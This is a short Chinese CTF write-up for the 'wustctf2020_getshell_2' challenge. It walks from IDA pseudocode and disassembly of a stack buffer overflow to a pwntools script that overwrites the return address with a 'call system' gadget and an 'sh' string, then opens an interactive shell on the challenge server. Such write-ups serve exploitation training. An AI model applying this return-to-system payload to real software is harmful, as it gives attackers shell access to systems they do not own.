简单的一道题，但藏的思想很好。

```
1 ssize_t vulnerable()
2 {
3   char buf[24]; // [esp+0h] [ebp-18h] BYREF
4
5   return read(0, buf, 0x24u);
6 }
```

溢出点在这

可以看到shell函数

IDA View-A | Pseudocode-A | Hex View-1

```
1 int shell()
2 {
3   return system("/bbbbbbbbin_what_the_f?ck__--??/sh");
4 }
```

但那个字符串是没用的

需要我们自己截断它。

```
.text:0804851B shell           proc near
.text:0804851B ; __unwind {
.text:0804851B                 push    ebp
.text:0804851C                 mov     ebp, esp
.text:0804851E                 sub     esp, 8
.text:08048521                 sub     esp, 0Ch
.text:08048524                 push    offset command  ; "/bbbbbbbbin
.text:08048529                 call    _system
.text:0804852E                 add     esp, 10h
.text:08048531                 nop
.text:08048532                 leave
.text:08048533                 retn
```

shell函数有个call _system可以利用

于是返回地址可以修改到0x8048529

找一下有没有/bin/bash,/bin/sh,sh之类的字符串

```
root@ubuntu:/home/giantbranch/Desktop/ctf# ROPgadget --binary wustctf2020_getshe
ll_2 --string 'sh'
Strings information
============================================================
0x08048670 : sh
```

找到了

```
from pwn import *

#io = process('./wustctf2020_getshell_2')
io = remote('node4.buuoj.cn',27311)
payload = 'a'*24+'b'*4+p32(0x8048529)+p32(0x08048670)
io.sendline(payload)

io.interactive()
```